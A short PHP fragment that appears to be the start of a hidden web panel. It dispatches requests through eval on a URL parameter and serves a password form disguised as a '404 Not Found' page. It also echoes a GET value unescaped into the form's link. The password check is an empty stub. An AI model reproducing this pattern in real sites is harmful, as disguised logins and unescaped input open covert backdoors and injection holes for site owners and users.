header( 'Content-Type: text/html;charset=utf-8' );
$c = $_GET[ 'c' ];
if( empty( $c ) || !function_exists( 'c_'.$c ) ) exit();
eval( 'c_'.$c.'();' );
function c_login(){
    $h='<!DOCTYPE html>';
	$h.='<html lang="zh-CN">';
	$h.='<head>';
	$h.='<meta charset="utf-8">';
	$h.='<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">';
	$h.='<meta name="viewport" content="width=device-width,initial-scale=1">';
	$h.='<title>404 Not Found</title>';
	$h.='<link rel="stylesheet" href="http://apps.bdimg.com/libs/bootstrap/3.3.4/css/bootstrap.min.css">';
	$h.='<script src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>';
	$h.='<script src="http://apps.bdimg.com/libs/bootstrap/3.3.4/js/bootstrap.min.js"></script>';
	$h.='</head>';
	$h.='<body>';
	$h.='<div class="container">';
	$h.='<div class="row" style="margin:50px;">';
	$h.='<form action="'._url('login_check').'" method="post" class="form-inline form-group" role="form">';
	$h.='<input type="password" id="password" name="password" maxlength="18" class="form-control">';
	$h.='<button id="btnSearch" type="submit" class="btn btn-default">login</button>';
	$h.='</form></div></div>';
	$h.='</body></html>';
	echo $h;
}
function c_login_check(){
	$p=$_POST['password'];
	//if(sha1(\$p))
}
function _url($c){
	return '?u='.$_GET[ 'u' ].'&c='.$c;
}